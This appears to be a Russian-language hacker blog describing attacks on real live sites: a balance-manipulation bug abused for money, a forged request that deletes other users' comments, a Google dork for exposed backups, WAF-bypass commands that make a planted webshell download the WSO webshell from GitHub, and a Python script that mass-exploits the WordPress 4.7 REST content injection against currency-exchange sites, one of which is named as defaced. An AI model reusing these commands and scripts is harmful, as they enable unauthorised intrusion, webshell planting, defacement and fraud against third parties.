Security Idiot

pic.php%00png

Как я вернул старый linuxforum.ru

Видео не первой свежести, но все же решил закинуть сюда.

_

З.Ы

Еще и благодарны были, старички форума ;)

Галактика багов

Есть некая соц. сеть galactikka.com, которая работает довольно давно, а так же имеет ряд уязвимостей, за которые разработчикам должно быть стыдно :)

Решил за них выполнить работу, естественно бесплатно, так как данный сервис отказался выплатить хоть какое либо вознаграждение, даже грубить стали ;) enter image description here

Я понимаю, сервис копейки приносит, не будем бедных грабить.

Первое что я нашел после 15 минут пребывания на данном сервисе, это тот факт, что при отправке ajax запроса на просмотр баланса (при переходе на страницу вывода, осуществляается данный запрос), можно было поставить сумму например -100000 и получить 100000 р. на сервисе, соотсветсвенно я купил парочку ненужных премиум аккаунтов, что бы удостовериться в том, что деньги реально есть на счету, а так же поставил на вывод, если не ошибаюсь 500 р. на wmr кошелек, после 3х суток ожидания денег, решил написать, что якобы я вывел деньги, но они не дошли и в чем собственно дело, на что получить ответ - “ждите”, а еще после суток пришел ответ, что я негодяй и воспользовался дырок, что бы заполучить 500 р. xD

Признавать тот факт что кодеров нужно уволить - отказались. Написал им так же что есть еще ряд дыр, которые я могу слить за отдельное финансирование, но как я уже писал выше, ответ был категоричен :)

Нет проверки овнера комментария при удалении

И так, первая дыра (на 02.07.2017 актуальна). Например у нас есть пост оф. команды проекта enter image description here

Для начала узнаем id комментария: enter image description here

Получили: 59578449bd047002458b456d

Теперь все, что осталось сделать, это отправить xhr на удаление комментария:

1
POST https://galactikka.com/post/delete-comment

с хедерами:

1
2
3
4
5
6
7
8
9
10
11
Host: galactikka.com
User-Agent: {крутой ua}
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://galactikka.com/news-59576cc5bd0470030d8b4567
Content-Length: 68
Cookie: PHPSESSID={сессия}; localTimezoneOffset=0
Connection: keep-alive

и телом:

1
post_id=59576cc5bd0470030d8b4567&comment_id=5958fa73bd0470957e8b456a

Где comment_id полученый id.

В ответ придет json с содержимым:

1
error    "0"

Чужой коммент удален ;)

Многочисленный sql-error

Существуют многочисленные потенциально опасные sql ошибки, которые, на удивление даже обрабатываются эксепшенами.

Работайте.

Исходный код default.php в Hostinger-подобных хостингах

Предыстория

Когда то наткнулся на пост кробера о листинге файлов через default.php (http://krober.biz/?p=2451) и недавно понял, что подобных хостингов которые используют стандарный файл для листинга довольно много и так же, довольно много тех, кто их не удаляет из корня, так вот я проверил тот же 000webhost и dreamhost, результатов конечно, меньше чем hostinger, но это не мешает вам проверить остальные тысячи хостингов ;)

Например:

  • inurl:default.php intext:“000webhost”+“backup” - выдаст сайты этого хостинга с листингом и имеющим директорию backup, либо заменить на sql, либо вообще что угодно :)

Нашел и решил опубликовать исходник самого default.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
<?

header('Content-Type: text/html; charset=utf-8');

$host = $_SERVER['HTTP_HOST'];

setlocale(LC_TIME, "in_IN.utf8");

date_default_timezone_set('Asia/Kolkata');



/*

Directory Listing Script - Version 2

====================================

Script Author: Ash Young <[email protected]>. www.evoluted.net

Layout: Manny <[email protected]>. www.tenka.co.uk

*/

$startdir = '.';

$showthumbnails = false;

$showdirs = true;

$forcedownloads = false;

$hide = array(

              'dlf',

              'public_html',               

              'index.php',

              'Thumbs',

              '.htaccess',

              '.htpasswd'

          );

$displayindex = false;

$allowuploads = false;

$overwrite = false;



$indexfiles = array (

              'index.html',

              'index.htm',

              'default.htm',

              'default.html'

          );

          

$filetypes = array (

              'png' => 'jpg.gif',

              'jpeg' => 'jpg.gif',

              'bmp' => 'jpg.gif',

              'jpg' => 'jpg.gif',

              'gif' => 'gif.gif',

              'zip' => 'archive.png',

              'rar' => 'archive.png',

              'exe' => 'exe.gif',

              'setup' => 'setup.gif',

              'txt' => 'text.png',

              'htm' => 'html.gif',

              'html' => 'html.gif',

              'php' => 'php.gif',                

              'fla' => 'fla.gif',

              'swf' => 'swf.gif',

              'xls' => 'xls.gif',

              'doc' => 'doc.gif',

              'sig' => 'sig.gif',

              'fh10' => 'fh10.gif',

              'pdf' => 'pdf.gif',

              'psd' => 'psd.gif',

              'rm' => 'real.gif',

              'mpg' => 'video.gif',

              'mpeg' => 'video.gif',

              'mov' => 'video2.gif',

              'avi' => 'video.gif',

              'eps' => 'eps.gif',

              'gz' => 'archive.png',

              'asc' => 'sig.gif',

          );

          

error_reporting(0);

if(!function_exists('imagecreatetruecolor')) $showthumbnails = false;

$leadon = $startdir;

if($leadon=='.') $leadon = '';

if((substr($leadon, -1, 1)!='/') && $leadon!='') $leadon = $leadon . '/';

$startdir = $leadon;



if($_GET['dir']) {

  // check this is okay.

  

  if(substr($_GET['dir'], -1, 1)!='/') {

      $_GET['dir'] = $_GET['dir'] . '/';

  }

  

  $dirok = true;

  $dirnames = split('/', $_GET['dir']);

  for($di=0; $di<sizeof($dirnames); $di++) {

      

      if($di<(sizeof($dirnames)-2)) {

          $dotdotdir = $dotdotdir . $dirnames[$di] . '/';

      }

      

      if($dirnames[$di] == '..') {

          $dirok = false;

      }

  }

  

  if(substr($_GET['dir'], 0, 1)=='/') {

      $dirok = false;

  }

  

  if($dirok) {

       $leadon = $leadon . $_GET['dir'];

  }

}







$opendir = $leadon;

if(!$leadon) $opendir = '.';

if(!file_exists($opendir)) {

  $opendir = '.';

  $leadon = $startdir;

}



clearstatcache();

if ($handle = opendir($opendir)) {

  while (false !== ($file = readdir($handle))) {

      // first see if this file is required in the listing

      if ($file == "." || $file == "..")  continue;

      $discard = false;

      for($hi=0;$hi<sizeof($hide);$hi++) {

          if(strpos($file, $hide[$hi])!==false) {

              $discard = true;

          }

      }

      

      if($discard) continue;

      if (@filetype($leadon.$file) == "dir") {

          if(!$showdirs) continue;

      

          $n++;

          if($_GET['sort']=="date") {

              $key = @filemtime($leadon.$file) . ".$n";

          }

          else {

              $key = $n;

          }

          $dirs[$key] = $file . "/";

      }

      else {

          $n++;

          if($_GET['sort']=="date") {

              $key = @filemtime($leadon.$file) . ".$n";

          }

          elseif($_GET['sort']=="size") {

              $key = @filesize($leadon.$file) . ".$n";

          }

          else {

              $key = $n;

          }

          $files[$key] = $file;

          

          if($displayindex) {

              if(in_array(strtolower($file), $indexfiles)) {

                  header("Location: $file");

                  die();

              }

          }

      }

  }

  closedir($handle);

}



// sort our files

if($_GET['sort']=="date") {

  @ksort($dirs, SORT_NUMERIC);

  @ksort($files, SORT_NUMERIC);

}

elseif($_GET['sort']=="size") {

  @natcasesort($dirs);

  @ksort($files, SORT_NUMERIC);

}

else {

  @natcasesort($dirs);

  @natcasesort($files);

}



// order correctly

if($_GET['order']=="desc" && $_GET['sort']!="size") {$dirs = @array_reverse($dirs);}

if($_GET['order']=="desc") {$files = @array_reverse($files);}

$dirs = @array_values($dirs); $files = @array_values($files);



?>

Для изучения как не стоит делать, как раз подойдет)

Обход '424 Failed Dependency' на хостингах ukraine.com.ua

Или почему специалисты ukraine.com.ua - идиоты.

Сегодня столкнулся с проблемой при попытке взаимодействовать через мини-шелл с файлами на сервере, все это на хостинге ukraine.com.ua, а именно:

  • Нельзя использовать cat для просмотра содержимого файлов
  • Использовать rm, echo и подобное
  • Команды в адресной строке типа site.ru/shell.php?cmd=echo ‘нужный код’ > file.php, например для загрузки того же wso, не проканает и выдаст 424 ошибку безопасности.

Проблема

Например у меня есть зараженный файл со строкой: php echo shell_exec($_GET['cmd']); что позволяет казалось бы, спокойно работать с сервером напрямую, но “гениальность” админов ukraine.com.ua работает на злоумышлинника ;)

Чем просмотреть файл? В *nix подобных системах, есть еще less, который вполне (и даже в чем то лучше) заменит cat.

Чем заменить echo, а вот тут есть printf, который работает аналогично в нашем случае:

1
printf 'some code' > file.php

Как залить к примеру, wso? Казалось бы, ничего сложного:

1
2
3
http://site.ru/shell.php?cmd=printf "<?php file_put_contents('wso.php', 
file_get_contents('https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php')); 
?>" > ../../site.ru/uploader_shell.php

То есть записываем в файл uploader_shell.php php код который скачает и сохранит файл шелла. Но при таком подходе нас пошлют в 424ю ошибку, во первых, хотя бы потому, что в строке есть .php, и php4, php5 не прокатят, а так же есть <?php, что дает понять, что кто то замыслил что то плохое ;)

Решение

Тут далеко ходить не нужно:

1
2
3
http://site.ru/shell.php?cmd=printf "<?file_put_contents('wso.phtml', 
file_get_contents('https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php'));?>"
> ../../site.ru/uploader_shell.php

Таким образом мы все же создали загрузчик шелла uploader_shell.php, теперь просто стоит его вызвать из адресной строки и он сохранит шелл рядом wso.php.

Вывод

Тех. специалисты ukraine.com.ua еще те идиоты. Лучше бы и не выебывались.

Обенники, котовые вы любите

Почти каждый, кто хоть раз менял валюту онлайн, обращался к “авторитетным” и “проверенным” мониторинговым сервисам, как например этот - bestchange.ru Да, безусловно обменники там практически все проверенные и не вызывают подозрения. Но, например не каждый смотрит на безопасность веб-приложения когда совершает обмен.

Wordpress и premiumbox

Существует ряд плагинов для этой недоcms, которые позволяют расширить функционал недоблога до недообменного сервиса, например - https://pluginu.com/premiumbox/

В сети уже продавались эксплоиты для него, если не ошибаюсь за 10btc и уже успешно проданы.

Сам же wordpress это сплошная дыра, с новой версии которой возникают еще более серьезные уязвимости, причем очень смешные, такие как например “content injection” - https://pluginu.com/premiumbox/

Уязвимые версии 4.7 - 4.7.1, написав небольшой скрипт, я удостоверился что около 70% (70 - Карл!) обменников на bestchange, именно на wordpress, тогда я решил проверить уязвимость на них, написал еще один скрипт, которые внедряет в пост нужный мне контент:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import sys
import validators

class WP():
  def __init__(self, uri=None):
      self.verion = None
      self.vuln_path = '/wp-json/wp/v2/posts/'
      self.detect_version(uri)

  def detect_version(self, uri=None):
      if not validators.url(uri):
          print('incorect uri')
          sys.exit(0)
      # get posts from api wp
      headers = {'user-agent': 'security-idiots/0.0.1', 'content-type':
'application/json; charset=utf8'}
      r = requests.get(uri + self.vuln_path, headers=headers)
      if r.status_code == 200:
          for post in r.json():
              print(post['id'] + '|' + uri)
              payload = {'title': 'security idiots', 'content': 'security 
idiots'}
              requests.post(uri + self.vuln_path + '%s' \
                  % post['id'] + '?id=%s' % post['id'] + 'abc',
params=payload, headers=headers)

      else:
          print(r.status_code)

Было обнаружено ряд обменников с данной уязвиомстью, один из которых bitmonsters.net, и так, у меня это вышло: https://bitmonsters.net/wp-json/wp/v2/posts/1667 enter image description here

enter image description here

Сразу скажу, эфир у них лучше точно не выводить ;)

А тут еще и Path Disclosure

Вот таким образом еще можно в почти каждой версии wordpress узнать пути: https://bitmonsters.net/wp-includes/rss-functions.php enter image description here

Итог

Меняйте бабло только на более проверенных сервисах, которые ни в коем случае не построенны на wordpress…